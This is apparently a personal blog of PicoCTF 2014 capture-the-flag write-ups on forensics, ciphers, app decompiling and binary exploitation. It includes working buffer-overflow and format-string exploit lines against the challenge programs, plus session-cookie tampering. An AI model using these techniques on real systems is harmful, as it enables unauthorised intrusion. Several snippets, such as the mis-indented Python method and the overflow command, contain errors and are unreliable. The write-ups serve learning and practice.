Showing posts with label PicoCTF. Show all posts
Showing posts with label PicoCTF. Show all posts

Thursday, October 22, 2015

PicoCTF 2014 ExecuteMe & PicoCTF 2014 OBO

I'm working on these in my spare time.  I still haven't solved these.  I think that I know what I'm supposed to do, but I either have the wrong shell code, or I'm getting the syntax wrong.  For Execute Me, I think that I'm supposed to send the C program Shell Code.  That's what the hint says.  So, I tried this:  The <shell code here> part actually has shell code in it when I type the command.

./executeme $(python -c 'print "<shell code here>"')

No shell code.

$(python -c 'print "<shell code here>"') | ./executeme

That gets me a shell, but I can't interact with it without getting a segmentation fault.  So then I tried this:

$(python -c 'print "<shell code here>"') & cat flag.txt | ./executeme

I'm getting a command not found error.

So I go on to start reading OBO.  I can go back to Execute Me anytime.  Here is the interesting part of the program for OBO:

int hex_table[256];

void generate_hex_table(void) {
  int i;
  for (i = 0; i <= 256; ++i) {
    hex_table[i] = -1;
  }

  for (i = 0; i <= 10; ++i) {
    hex_table['0' + i] = i;
  }

  for (i = 0; i <= 6; ++i) {
    hex_table['a' + i] = 10 + i;
  }

  for (i = 0; i <= 6; ++i) {
    hex_table['A' + i] = 10 + i;
  }

  // I don't know why, but I was getting errors, and this fixes it.
  hex_table[0] = 0;
}

int read_password(FILE *file, char *password, size_t n) {
  fgets(password, n, file);

  password[strcspn(password, "\n")] = '\0';

I think that OBO stands for Off By One.  As in Off By One error in C programming.  I was looking at the first for loop and noticed that he started variable "i" as 0.  Then he iterates it to 256.  If "i" started at one, that would be fine, but it doesn't.  So, he iterated through the first for loop one too many times.  Then I noticed the null byte (\0) which was tacked on the phrase "password[strcspn(password, "\n")] = '\0';"  If I'm not mistaken, it overwrites the lowest memory byte.  So I was wondering what was useful about that.  I looked at Google, and found an article about a poison null byte.  I also found a SANS white paper describing how to exploit an off by one error.  I haven't tried yet, but from what I understand, one way to exploit it is, you control the address, so you can have the pointer point at a buffer, put shell code into the buffer, and you get shell.  

It's kind of scary how much difference one byte can make.

https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481
http://insecure.org/news/P55-07.txt

Friday, October 16, 2015

PicoCTF 2014 PNG Or Not?

I was given a png image and told that there was some data hidden within.  If you do a Google searches on PNG files, you will note that you can hide files in it.  I opened up the image with a hex editor.  Near the bottom of the file, I found 7z, then the words flag.txt.  I know, from reading articles, that I can carve files using headers and footers.  I knew that the header for a 7z file is 37 7A BC AF 27.  I just selected the bytes from that header to the end of the file, copied it onto another sheet in the hex editing program and saved it as a 7z file.  I opened up the flag.txt file using the archive manager, and I got the flag.  EKSi7MktjOpvwesurw0v

Update:  Easier Way:  Command line:

7z x 2pngornot2png.png

Then

cat flag.txt

PicoCTF 2014 Droid App

I was given a droid app that I needed to decompile to find debug information.  Droid apps are really easy to decompile.  The hint said that that could even be decompiled online.  I used Kali linux and a tool called dex2jar.  Dex2jar does just what it says it does.  It changes dex files into jar files.  One I had a jar file, I just used java, which was already installed on Kali to decompile a java class file.

j2dex-jar2dex classes.dex -o classes.jar

I opened the jar file using the Archive Manager.  I could see the contents of the jar file.  I navigated the directory structure mine was picoapp453-picoctf-com-picoapp, then I selected ToasterActivity.class because it looked interesting to me.  Then I used the command line to decompile the class file for me so that I could read it.

javap -c ToasterActivity.class


public void displayMessage(android.view.View);
    Code:
       0: aload_0       
       1: invokevirtual #40;                // Method getApplicationContext:()Landroid/content/Context;
       4: ldc           #42;                // String Toasters don't toast toast, toast toast toast!
       6: iconst_1      
       7: invokestatic  #48;                // Method android/widget/Toast.makeText:(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;
      10: invokevirtual #51;                // Method android/widget/Toast.show:()V
      13: ldc           #53;                // String Debug tag
      15: aload_0       
      16: getfield      #34;                // Field mystery:Ljava/lang/String;
      19: invokestatic  #59;                // Method android/util/Log.d:(Ljava/lang/String;Ljava/lang/String;)I
      22: pop           

      23: return 

Note the Debug tag comment on Code 13.  Also note the string on Code 4.  They were looking for the string, "Toasters don't toast toast, toast toast toast!"

So I found debug info.  The flag was in this class as well.  The flag was in this part.

public picoapp453.picoctf.com.picoapp.ToasterActivity();
    Code:
       0: aload_0    
       1: invokespecial #10;                // Method android/support/v7/app/ActionBarActivity."<init>":()V
       4: aload_0    
       5: new           #12;                // class java/lang/String
       8: dup        
       9: bipush        33
      11: newarray       char
      13: dup        
      14: iconst_0    
      15: ldc           #13;                // int 102
      17: castore    
      18: dup        
      19: iconst_1    
      20: ldc           #14;                // int 108
      22: castore    
      23: dup        
      24: iconst_2    
      25: ldc           #15;                // int 97
      27: castore    
      28: dup        
      29: iconst_3    
      30: ldc           #16;                // int 103
      32: castore    
      33: dup        
      34: iconst_4    
      35: ldc           #17;                // int 32
      37: castore    
      38: dup        
      39: iconst_5    
      40: ldc           #18;                // int 105
      42: castore    
      43: dup        
      44: bipush        6
      46: ldc           #19;                // int 115
      48: castore    
      49: dup        
      50: bipush        7
      52: ldc           #20;                // int 58
      54: castore    
      55: dup        
      56: bipush        8
      58: ldc           #17;                // int 32
      60: castore    
      61: dup        
      62: bipush        9
      64: ldc           #21;                // int 119
      66: castore    
      67: dup        
      68: bipush        10
      70: ldc           #22;                // int 104
      72: castore    
      73: dup        
      74: bipush        11
      76: ldc           #15;                // int 97
      78: castore    
      79: dup        
      80: bipush        12
      82: ldc           #23;                // int 116
      84: castore    
      85: dup        
      86: bipush        13
      88: ldc           #24;                // int 95
      90: castore    
      91: dup        
      92: bipush        14
      94: ldc           #25;                // int 100
      96: castore    
      97: dup        
      98: bipush        15
     100: ldc           #26;                // int 111
     102: castore    
     103: dup        
     104: bipush        16
     106: ldc           #27;                // int 101
     108: castore    
     109: dup        
     110: bipush        17
     112: ldc           #19;                // int 115
     114: castore    
     115: dup        
     116: bipush        18
     118: ldc           #24;                // int 95
     120: castore    
     121: dup        
     122: bipush        19
     124: ldc           #23;                // int 116
     126: castore    
     127: dup        
     128: bipush        20
     130: ldc           #22;                // int 104
     132: castore    
     133: dup        
     134: bipush        21
     136: ldc           #27;                // int 101
     138: castore    
     139: dup        
     140: bipush        22
     142: ldc           #24;                // int 95
     144: castore    
     145: dup        
     146: bipush        23
     148: ldc           #14;                // int 108
     150: castore    
     151: dup        
     152: bipush        24
     154: ldc           #26;                // int 111
     156: castore    
     157: dup        
     158: bipush        25
     160: ldc           #16;                // int 103
     162: castore    
     163: dup        
     164: bipush        26
     166: ldc           #28;                // int 99
     168: castore    
     169: dup        
     170: bipush        27
     172: ldc           #15;                // int 97
     174: castore    
     175: dup        
     176: bipush        28
     178: ldc           #23;                // int 116
     180: castore    
     181: dup        
     182: bipush        29
     184: ldc           #24;                // int 95
     186: castore    
     187: dup        
     188: bipush        30
     190: ldc           #19;                // int 115
     192: castore    
     193: dup        
     194: bipush        31
     196: ldc           #15;                // int 97
     198: castore    
     199: dup        
     200: bipush        32
     202: ldc           #29;                // int 121
     204: castore    
     205: invokespecial #32;                // Method java/lang/String."<init>":([C)V
     208: putfield      #34;                // Field mystery:Ljava/lang/String;
     211: return      

I had to change each of those decimals in the comments (the ones after the //) into ascii characters.  The flag was:  what_does_log_cat_say 

PicoCTF 2014 Cyborg Secrets

This one was extremely easy.  I had to find a password for a password-protected binary relating to a cyborg’s defense mechanisms in the game.  I had to find the shut down code for the cyborg.  I just open the executable in a hex editor, and search for a password.  There was a debug password, and a to do note stating that they need to remove the debug password.  LOL  The debug password was: 2manyHacks_Debug_Admin_Test.  And the shut down code was: 403-shutdown-for-what.

PicoCTF 2014 Overflow 2

I actually had this one, and a few other solved a while ago.  My VM that they were stored got corrupted, so I lost all those files.  Good thing that it was a VM and not my host machine that got corrupted.  This is how I solved Overflow2.

This is a C program that is vulnerable to a buffer overflow vulnerability because of the strcpy function.  In order to exploit this vulnerability, I have to change control of the execution of the program to myself by overwriting the return address so that it sends the function pointer to the address of the give_shell function instead of the next address on the stack.  In the command prompt, I found the address by typing objdump -d overflow2 | grep “shell”.  The -d option of objdump disassembles the program and gives me a list of functions.  I only want one function, though, the give_shell function, so I pipe objdump in to another command called grep which searches for the “shell” string, and only displays the functions with the word “shell” in them.  The address of the give_shell function is: 080484ad.  The buffer is 16 characters long.  The instruction point is 4 bytes long.  The base pointer is 4 bytes long.  The return address is 4 bytes long.  So, to figure out how many bytes I need to overwrite, I add the amount of bytes for the instruction pointer, the amount of bytes for the base pointer, the amount of bytes for the buffer, and the amount of bytes for the return address that I want to overwrite.  So, it’s 16 + 4 + 4 + 4 = 28.  Then I add the address that I want the return address pointer to point to.  I’m using python, because I want to be able to tell it to print hex characters for me for the address.  So the command is now, ./overflow2 $(python ‘print “A”*32 + “\xad\x04\x84\08”’)  I have to type the address backwards because the server understand things in Little Endian format.  Once I type this into the command prompt, I get a shell prompt.  Then I type, cat flag.txt, and get the flag, controlling_%eip_feels_great.

Monday, July 20, 2015

Picoctf 2014 Snapcat :)

Snapcat

We were given a corrupted disk image.  We were supposed to get information off of it.  I looked at the disk image using a hex editor, and noticed that it had pictures on it.  I saw jpeg headers.  So, I used a program called Foremost on my SIFT VM to carve the images out of the disk.img file.

$ foremost -t jpg –o ~/Desktop –c etc/foremost.conf disk.img

-t: specifies what type of file that I want to be carved out.
-o: specifies the directory where I want the output file
-c: specifies where the foremost config file is
disk.img is the name of the img that I was carving files out of.

One of the pictures that was output had this flag.

i_can_has_cheezburger

Wednesday, June 24, 2015

Picoctf 2014 Repeating XOR

I wasn't exactly sure how to approach this one, given that I don't have a lot of experience with XORing.  I think that I understand the basic idea of it.  Hex Plain Text XOR Hex Key = Hex Encoded Data.  If you know hex plain text, and you have the hex encoded version of that same hex plain text, then you should theoretically get the hex key of that data by XORing the hex plaintext with the hex encoded data of that same plaintext.  Then you can use that key to break the rest of this encoding.  This is kind of what Alan Turing did to break the enigma cipher.  He used plain text and the encrypted text of that plain text to find the key.  

I was reading about Hamming Distance.  From what I understand, the key length can be guessed fairly accurately by comparing each hex pair.  If the hex pairs are of similar Hamming Distances, then they are most likely encoded with the same hex pair.  So, if they were 10 characters apart, then the key length is 10.  I need to do further reading about this and experiment with it to see if I can better understand it.

After searching Google for a while, I stumbled upon a tool called "XorTool" on GitHub.  I'm using VM's, so I downloaded, scanned, and installed it.  Then I set about learning how to use it.  I was given the hint that the key length may be 10.  I was also told that the plaintext was a "history of cryptography", so I had a good idea of what I was looking for.  I let the tool do the work for me.  I just typed, xortool -x -l 10 encrypted.  -x told the program that the file was hex encoded, -l told the program that I was guessing a key length of 10, and encrypted was the name of the encrypted file.  It guessed that the most likely length was 10.  So then I ran the following command and got the following output.

$ xortool -x -o encrypted
The most probable key lengths:
   2:   9.7%
   5:   14.5%
   8:   7.2%
  10:   20.7%
  12:   6.0%
  15:   8.9%
  20:   12.8%
  25:   5.7%
  30:   8.5%
  40:   6.1%
Key-length can be 5*n
100 possible key(s) of length 10:
\x94\xd6\xb1\xc2\xbc\t\x05\xd6\x1c6
\x95\xd7\xb0\xc3\xbd\x08\x04\xd7\x1d7
\x96\xd4\xb3\xc0\xbe\x0b\x07\xd4\x1e4
\x97\xd5\xb2\xc1\xbf\n\x06\xd5\x1f5
\x90\xd2\xb5\xc6\xb8\r\x01\xd2\x182
...
Found 51 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv

After this, I read filename-char_used-perc_printable.csv.  This gave me a decent idea of which keys were correct, because it told me the percentage of the characters in each potential key that were printable.  Xortool saves possible plain text files as out files.  I navigated to the folder that contains these out files.  I just used cat <numberIwasinterestedin>.out in my terminal, and it printed out the out file.  I only printed the texts with 100 percent printable characters.  There were only 7, so it made finding the correct decrypted file really easy.

$cat 94.out
your flag is: ab2614e35e828a602c50ebc9b0f5d710e2312388

On 17 March 1975, the proposed DES was published in the Federal Register. Public comments were requested, and in the following year two open workshops were held to discuss the proposed standard. There was some criticism from various parties, including from public-key cryptography pioneers Martin Hellman and Whitfield Diffie, citing a shortened key length and the mysterious "S-boxes" as evidence of improper interference from the NSA. The suspicion was that the algorithm had been covertly weakened by the intelligence agency so that they - but no-one else - could easily read encrypted messages. Alan Konheim (one of the designers of DES) commented, "We sent the S-boxes off to Washington. They came back and were all different." The United States Senate Select Committee on Intelligence reviewed the NSA's actions to determine whether there had been any improper involvement. In the unclassified summary of their findings, published in 1978, the Committee wrote:

    In the development of DES, NSA convinced IBM that a reduced key size was sufficient; indirectly assisted in the development of the S-box structures; and certified that the final DES algorithm was, to the best of their knowledge, free from any statistical or mathematical weakness.

However, it also found that

    NSA did not tamper with the design of the algorithm in any way. IBM invented and designed the algorithm, made all pertinent decisions regarding it, and concurred that the agreed upon key size was more than adequate for all commercial applications for which the DES was intended.

Another member of the DES team, Walter Tuchman, stated "We developed the DES algorithm entirely within IBM using IBMers. The NSA did not dictate a single wire!" In contrast, a declassified NSA book on cryptologic history states:

    In 1973 NBS solicited private industry for a data encryption standard (DES). The first offerings were disappointing, so NSA began working on its own algorithm. Then Howard Rosenblum, deputy director for research and engineering, discovered that Walter Tuchman of IBM was working on a modification to Lucifer for general use. NSA gave Tuchman a clearance and brought him in to work jointly with the Agency on his Lucifer modification."

and

    NSA worked closely with IBM to strengthen the algorithm against all except brute force attacks and to strengthen substitution tables, called S-boxes. Conversely, NSA tried to convince IBM to reduce the length of the key from 64 to 48 bits. Ultimately they compromised on a 56-bit key.

Some of the suspicions about hidden weaknesses in the S-boxes were allayed in 1990, with the independent discovery and open publication by Eli Biham and Adi Shamir of differential cryptanalysis, a general method for breaking block ciphers. The S-boxes of DES were much more resistant to the attack than if they had been chosen at random, strongly suggesting that IBM knew about the technique in the 1970s. This was indeed the case; in 1994, Don Coppersmith published some of the original design criteria for the S-boxes. According to Steven Levy, IBM Watson researchers discovered differential cryptanalytic attacks in 1974 and were asked by the NSA to keep the technique secret. Coppersmith explains IBM's secrecy decision by saying, "that was because [differential cryptanalysis] can be a very powerful tool, used against many schemes, and there was concern that such information in the public domain could adversely affect national security." Levy quotes Walter Tuchman: "[t]hey asked us to stamp all our documents confidential... We actually put a number on each one and locked them up in safes, because they were considered U.S. government classified. They said do it. So I did it". Bruce Schneier observed that "It took the academic community two decades to figure out that the NSA 'tweaks' actually improved the security of DES."

Picoctf 2014 Guess

On this problem, I had to guess a random 32 bit integer.  I had 2^32 chance of getting it right, making it very unlikely that I would actually be able to guess the number.
I studied the source program, which was written in C, and noticed that the "fgets(name, sizeof(name), stdin);" part of it was exploitable by a format string vulnerability.  I noticed that the variable that I
wanted, f, was the fourth integer on the stack.  So, when the program asked my name, I typed in %d.%d.%d.%d, and it printed four numbers that were separated by periods so that I could read them more easily.  When it asked me to type in my guess,
I typed in the fourth number that had printed out, and got the flag:  leak_the_seakret.

#include <stdio.h>
#include <stdlib.h>

char *flag = "~~FLAG~~";

void main(){
    int secret, guess;
    char name[32];
    long seed;

    FILE *f = fopen("/dev/urandom", "rb");
    fread(&secret, sizeof(int), 1, f);
    fclose(f);

    printf("Hello! What is your name?\n");
    fgets(name, sizeof(name), stdin);

    printf("Welcome to the guessing game, ");
    printf(name);
    printf("\nI generated a random 32-bit number.\nYou have a 1 in 2^32 chance of guessing it. Good luck.\n");

    printf("What is your guess?\n");
    scanf("%d", &guess);

    if(guess == secret){
        printf("Wow! You guessed it!\n");
        printf("Your flag is: %s\n", flag);
    }else{
        printf("Hah! I knew you wouldn't get it.\n");
    }
}

$ nc vuln2014.picoctf.com 4546
\Hello! What is your name?
%d.%d.%d.%d
Welcome to the guessing game, \32.-143668192.162005000.-857849444

I generated a random 32-bit number.
You have a 1 in 2^32 chance of guessing it. Good luck.
What is your guess?
-857849444
Wow! You guessed it!
Your flag is: leak_the_seakret

Monday, June 22, 2015

Picoctf 2014 Format String

I just completed the format string problem.  I took a semester of C a long time ago, but I remembered enough to know what was going on in the program that I was given to exploit.  I used gdb -q ./format, then p &secret to find the location of the variable of secret in memory.  Then I ran the program:

./format $(python -c 'print "%x.%x.%x"').

%x prints addresses in the stack.  I put a dot between them so that I could see where each ended. I kept adding a %x. until I found the address that I needed.  I found out that the 7th address was the address that I needed.  It was 0x0804a030.  The hint said that %n would be useful.  I tried it, but I just couldn't get it to work correctly.  Then I found some nice articles that helped to explain format string vulnerabilities fairly well.  They were:  http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html, and https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf.  So then I ran the program with ./format $(python -c 'print "%1337x%7$n"').  The %1337x pads an unsigned hexidecimal integer with 1337 spaces.  The %7$n specifies that I want the 7th address location, and n means that I want to write the number of bytes written so far to that place in memory.  I got shell.  Then I typed "cat flag.txt" and got the flag which was who_thought_%n_was_a_good_idea?

Sunday, March 22, 2015

More PicoCTF 2014 Solutions-Next 12

I haven't been working on this that much. I wasn't eligible for the rewards, but I started it because I saw it as a good opportunity to learn. I am eligible for other challenge rewards though, so those have been at the top of my priority list lately. I'm currently doing Cyber Aces, and later this month, I plan to try the US Cyber Challenge. I've had a little time lately, so here are more Picoctf 2014 solutions.

Javascrypt
I looked at the website with Mozilla Firefox, and right-clicked, and clicked on View Source. I read through it until I found a piece of javascript that appeared to generate the key. I copy and pasted it into a javascript editor that I had found via Google and added html code so that I could make it calculate and display the key for me in a nice manner. Here is my code:
<!DOCTYPE html>
<html>
<body>
<p>What is the key?</p>
<p_id="demo"></p>
<script>
function generateKey() {
var i =1;
var x = 208;
var n = 5493;
while (i <= 25) {
x = (x *i) % n;
i++;
}
key = "flag_" + Math.abs(x);
}
generateKey();
document.getElementById("demo").innerHTML = key;
</script>
</body>
</html>
My flag was flag_1596.

Easy Overflow
In Java, the max value of a 32 bit signed integer is 2,147,483,647. In order to cause an overflow, all I had to do was to add the max number to the number that I was given. (I'm not exactly sure how that caused the number to become negative, because I haven't studied memory registers in great depth. I plan to do that soon.) I understand the idea of an overflow, in other words, memory registers only hold so big of values, and when one register can't hold a value, because it's too big, the rest of that value overflows into another part of memory, hence the term "overflow". I don't understand exactly how that works. I just vaguely remembered in java that we had to assign values according to size, and that each type could only hold so much. That's the reason that I knew the max value for a java 32 bit signed integer. My number was 4706106. Adding the max value that a Java integer could hold caused the number to be -2142777543. The flag was That_was_easssy!

Write-Right
I used the Linux tool called GnuDebugger: gdb -q and then typed p &secret to get the memory address of secret . I just looked for the memory address of secret and took note of it. The address was 804a03c. Then I ran the program and answered the question, "Where would you like to write in memory?" with the address of secret, and answered the question, "What would you like to write there?" with 1337beef. Then I was given the flag. The flag was arbitrary_write_is_always_right

Overflow 1
This challenge had a nice interactive feature to help one understand how the machine places values into memory. The server happens to use Little Endian format, which means that it stores the least significant byte in the smallest address. My objective was to overwrite the value of secret to hexidecimal c0deface. I looked at how someone solved a similar problem in picoctf2013 to get an idea of how to solve this one, and utilized that knowledge to solve this problem. Most Linux systems have a python interpreter installed, so I just used python. ./overflow1 $(python -c 'print "A"*16 + "\xce\xfa\xde\xc0"'). I got a shell. Then I just typed ls, to list what in the directory, and used cat flag.txt to get the flag: ooh_so_critical. If I'd overshot that narrow point in memory, which is allowed to be written in, then I would've gotten a segmentation fault for trying to write to an area in memory that is read only. I recently read a nice article about it called, "Smashing the Stack for Fun and Profit" by Aleph One. I didn't understand all of it because I'm not familiar with assembly, but I highly recommend it to read. It's an interesting view into memory.

Redacted
I just copied the page using the press-and hold on the screen of my iPad, and pasted the page into my Notes app. It saved the page. The background was black, and the text was white. There were no more black boxes on the page in my Notes app, so I could read the entire page.

Toaster Control
I looked at the source code of the page. In the javascript, I found the handlers for the other buttons, so I knew how to query the db for the action that I needed, which was Shutdown & Turn Off. The handler had to be url encoded. I looked up those encodings on Google. So the full address was web2014.picoctf.com/toaster-control-1040194/handler.php?action=Shutdown%20%26%20Turn%20Off.

ZOR**Update**

Thanks to Anonymous' comment "dog crap", :D, I noticed that I forgot to add the new "solution" method to the terminal command and a couple of typos.  I added the original program and modified version to hopefully make the solution more clear.  Thanks!  If you all notice anymore typos/errors, let me know.  I'll be happy to fix them.  This blog is more like a journal.  I reference it if I have trouble remembering something; so I'd like it to be as accurate as possible.

The hint states that the key is turned into a one byte binary key, which means that there are only 255 possible values that the key could be. The 00000000 byte doesn't count. All I had to do was to modify the ZOR.py program and add a solution method. Then I had to add a call to that method in the main funtion. All that the solution method does is to use the xor method already present in the program to test every possible key from 00000000-11111111. (I know, I said that the 0 byte didn't count. It was just plain easier to figure out the syntax.) It took me a while to figure out the syntax because I'm not familiar with python. I just copied the syntax of the other methods, and it worked just fine. I did have previous experience with Java, so I could understand the idea of what the program was doing. The main annoyance was the indenting.  (If it doesn't work, play around with the indenting.  I copied the syntax of the methods around it.  Another item of note:  sometimes some text editors can cause issues with the python program working properly, so be careful with which ones you use.  For some reason, lately, I've also noticed that if you don't specify an encoding, python doesn't particularly care for that either.)

The solution method:

def solution(input_data):
    decrypted = ""
        for key in range (0,255):
            decrypted += xor(input_data, key)
            decrypted += " begin/end "
        return decrypted

I used the "decrypted += " begin/end " line so that I could tell where each separate attempt began and ended. I guess that I could've used a newline character, to make it easier to read.


The calling method: I added it right under the decrypt elif statement.

elif sys.argv[1] == "solution":
    result_data = solution(input_data)

I ran the program from the command line by typing, "python ZOR.py solution encrypted decrypedfile 25"
I added the 25 at the end to get past that annoying 5 char requirement at the beginning of the program. I could probably just remove that "if len (sys.argv) < 5: Usage()" line from the program, and not worry about that.
After running the file, I looked at the file by using "cat decryptedfile | less". When you print out the decrypted file, you'll see all sorts of junk because it is printing out every possible key value.  If you look through the junk, you'll eventually see this:

This message is for Daedalus Corporation only. Our blueprints for the Cyborg are protected with a password. That password is 85bcdc9f283353a3e0ca9c4cc1c0dc

Here is the original program:
#!/usr/bin/python

import sys

"""
Daedalus Corporation encryption script.
"""

def xor(input_data, key):
    result = ""
    for ch in input_data:
        result += chr(ord(ch) ^ key)

    return result

def encrypt(input_data, password):
    key = 0
    for ch in password:
        key ^= ((2 * ord(ch) + 3) & 0xff)

    return xor(input_data, key)

def decrypt(input_data, password):
    return encrypt(input_data, password)

def usage():
    print("Usage: %s [encrypt/decrypt] [in_file] [out_file] [password]" % sys.argv[0])
    exit()

def main():
    if len(sys.argv) < 5:
        usage()

    input_data = open(sys.argv[2], 'r').read()
    result_data = ""

    if sys.argv[1] == "encrypt":
        result_data = encrypt(input_data, sys.argv[4])
    elif sys.argv[1] == "decrypt":
        result_data = decrypt(input_data, sys.argv[4])
    else:
        usage()

    out_file = open(sys.argv[3], 'w')
    out_file.write(result_data)
    out_file.close()

main()

Here is the modified program:



#!/usr/bin/python
# -*- coding: utf-8 -*-
import sys

"""
Daedalus Corporation encryption script.
"""

def xor(input_data, key):
    result = ""
    for ch in input_data:
        result += chr(ord(ch) ^ key)

    return result

def encrypt(input_data, password):
    key = 0
    for ch in password:
        key ^= ((2 * ord(ch) + 3) & 0xff)

    return xor(input_data, key)

def decrypt(input_data, password):
    return encrypt(input_data, password)


def solution(input_data):
    decrypted = ""
        for key in range (0, 255):
            decrypted += xor(input_data, key)
            decrypted += " begin/end "
        return decrypted

def usage():
    print("Usage: %s [encrypt/decrypt] [in_file] [out_file] [password]" % sys.argv[0])
    exit()

def main():
    if len(sys.argv) < 5:
        usage()

    input_data = open(sys.argv[2], 'r').read()
    result_data = ""

    if sys.argv[1] == "encrypt":
        result_data = encrypt(input_data, sys.argv[4])
    elif sys.argv[1] == "decrypt":
        result_data = decrypt(input_data, sys.argv[4])
    elif sys.argv[1] == "solution":
        result_data = solution(input_data)
    else:
        usage()

    out_file = open(sys.argv[3], 'w')
    out_file.write(result_data)
    out_file.close()

main()

Substitution
This one was easy. I found a nice website using google called cryptoclub.org. They have a nice Flash Substitution Decrypter. The hint in this challenge states to use frequency analysis to solve this puzzle. However, I decided to try to find the word authorization since I was fairly certain that that word was in the cipher, considering that I was looking for an authorization code. The only word that seemed long enough to be authorization was right at the beginning of the cipher, so I just replaced those encrypted letters with the decrypted letters for authorization. It turned out to be correct. Then I solved the words, "the", "code", and "is". After that, finding the substitutions for the other words weren't that difficult because there were recognizable words. The authorization code is "motherknowsbest". That was the flag for this challenge. The encrypted file ended up being a song from the movie Tangled, called "Mother Knows Best".
syhuwamrefcdvklbqxipjnzgto plaintext
abcdefghijklmnopqrstuvwxyz encrypted letters

Function Address
I used the Linux tool GnuDebbuger gdb -q. Then I just used p &find_string to find the find_string function, and took down the address of that function. The address was the flag for this challenge.

Basic ASM
I don't have any experience with assembly, however, the creators of picoctf had examples of some nice tutorials on the subject of AT&T assembly, so I was able to solve the problem by looking at the tutorials, and changing the assembly code to pseudo-code to help visualize the problem. I was supposed to find the value of %eax before the NOP in L3.
The original code was:
MOV $26693, %ebx
MOV $979, %eax
MOV $25717 %ecx
CMP %eax, %ebx
JL L1
JMP L2
L1:
IMUL %eax, %ebx
ADD %eax, %ebx
MOV %ebx, %eax
SUB %ecx, %eax
JMP L3
L2:
IMUL %eax, %ebx
SUB %eax, %ebx
MOV %ebx, %eax
ADD %ecx, %eax
JMP L3
L3:
NOP
My pseudocode. It helped to remember that the left side was the source, and the right side was the destination. Considering that in the assembly language, the value of %ebx is greater than the value of %eax, the L1 label computations were not done. So, the computations start in the L2 label.
ebx = 26693
eax = 997
ecx = 25717
If ebx < eax
goto L1
else
goto L2
L1:
ebx *= eax;
ebx += eax;
eax = ebx;
eax -= ecx;
goto L3:
L2:
ebx *= eax; //26693 *979, ebx = 26132447
ebx -= eax; //26132447- 979= 26131468, ebx = 26131468
eax = ebx; //eax = 26131468
eax += ecx; //26131468 + 25717, eax = 26157185
goto L3:
L3;
NOP
So the answer of "What is the value of %eax before the NOP operation?" is 26157185.

Spoof Proof
This one was really easy. I'm supposed to find the name of the person that doesn't belong in the network. I first looked at the ARP traffic for any ARP poisoning.  I used Wireshark to analyze the traffic. (You can sort by protocol by clicking on the "Protocol" column.)  Wireshark has a nice feature that tells when there are gratuitous ARP requests, (under Expert Information) and when it suspects that more than one machine is using the same IP Address. I found that the IP Address 192.168.50.4 had two MAC Addresses associated with it. I assumed that the MAC Address that was noted earlier in the traffic, before the potentially malicious activity, was the legitimate address, in other words, the address of the machine that is supposed to be on the network. I did a search for the other MAC Address and found that it was associated with the IP Address, 192.168.50.3, which is the IP Address of a user named John Johnson. John Johnson was spoofing an IP Address.

Delicious
In order to solve Delicious, I looked at the website. On the website, there was a session id. Websites use session cookies in order to keep track of sessions because http is a stateless protocol, in other words, it can't remember whether people had connected previously or not on its own. So, I installed an Add-On to my browser called Mozilla Firefox Cookie Editor. I changed the session_id of the cookie to 30. I was logged in as Dr. Florian Richards. The secret code was session_cookies_are_the_most_delicious.

Wednesday, November 26, 2014

Picoctf 2014 1st Set of 12 Problems

Working on Picoctf 2014.  So far it hasn't been extremely difficult.  Here's how I solved some of the problems.

Tyrannosaurus Hex

I used the Google convert hexadecimal to decimal feature to convert 0xa1e16da4 to 2715905444.

No Comment

Rights-Clicked the page, View Source, Saw a comment, "In case you forget, the password for this site is: flag_f84c7d87a500072cd51855ae96adc629f2f024a0"

Common Vulnerabilty Exercise

Googled CVE Mozilla Firefox 2014 buffer overflows; Answer CVE 2014-1542

Caesar

It was a Caesar Cipher, as the name of the problem indicated.  Google-Caesar Decrypter.  The number of shifts of the letters was 25.  My key:  thesecretpassphraseislneinzjahhqufgtahruidvbjxtvkhd

The Valley Of Fear

(1,9,4) (4,2,8) (4,8,3) (7,1,5) (8,10,1)

The first number is the paragraph, the second number is the line number in that paragraph, and the third number is the word in that line.
The flag is ceremonial plates

Internet Inspection

This is in Internet Explorer:  Right-Click on the rectangle with checkers on the web site, select "Inspect Element", make sure that you're looking at the "Dom Explorer".  It should say "Dom Explorer" on the bottom left-hand side, and the top of the "Inspect Element" Window.  Where it is exactly depends on how you have your windows for the "Developer's Tools" set.  (Mine was the default setting.). You click on "Styles" on the right hand side, then "Inline Style", then "Backgroud Image", then you uncheck the "background-image" check box to remove the "checkers.png" background image.  flag_dc67d9ac26f8dca00f74399d55819ddbd2afc4ac

Pickle Jar

I knew that a jar file was a java file that could be opened, utilizing a program like 7-zip.  So, I opened my SIFT VM and opened it using the Archive Manager.  It had a couple of folders and a pickle.p file.  I checked the folders because I didn't know what a .p extension file was.  The com folder had another folder called picoctf.  In the picoctf folder, there was one class file that was a clue.  A class file is a compiled java file.  I just opened it up in the Eclipse IDE.  It was a clue.  It contained one method that stated, "Who took the pickles from the pickle jar."  The META-INF folder had a MANIFEST.MF.  I wasn't sure if those were needed for solving the problem, so I Googled pickle and p, and found out that a .p file is the extension for Python Pickle files.  I knew that some versions of Linux have Python installed, so I opened up a terminal and typed in the command, "file -i pickle.p".  The command told me that it was a text file, so I typed, "cat pickle.p"  I was amazed that it was that simple.  It printed out, "S'YOUSTOLETHEPICKLES' p0 ."  YOUSTOLETHEPICKLES was the key.

RoboPhoto

Google has an interesting feature where you can search for images similar to one in a url.  I just copied the url of the into the search bar, clicked on images, and clicked on the "search by image" feature.  The flag was, "The Positronic Man".

This Is The Endian

On this one, the "Notes On Endianness" page gave a hint about how to solve it.  The "Data Preview" box had both ASCii and Hex answers.  So, I knew that I needed to convert ASCii letters into hex to solve this problem.  The Endianess was given.  It was Little Endian, meaning that the least significant byte is stored in the smallest address.  It's like a stack of plates.  The last plate stacked on top is the first one taken.  So, I'd have to put the data in backwards to get the flag.

Answer(1) = 0x30646521
Answer(0) = 0x52657663

Answer(1) to ASCii
0de!
Answer(0) to ASCii
Revc

The flag was:  cveR!ed0c


Intercepted Post

I opened up the file given in Wireshark.  I typed in a filter for http.request.method eq "POST"
Frame 152 had a URL encoded password.  password=flag%7Bpl%24_%24%24l_y0ur_l0g1n_form%24%7D
I used a URL decoder and got the flag.  It was flag{pl$_$$l_y0ur_l0g1n_form$}

Supercow
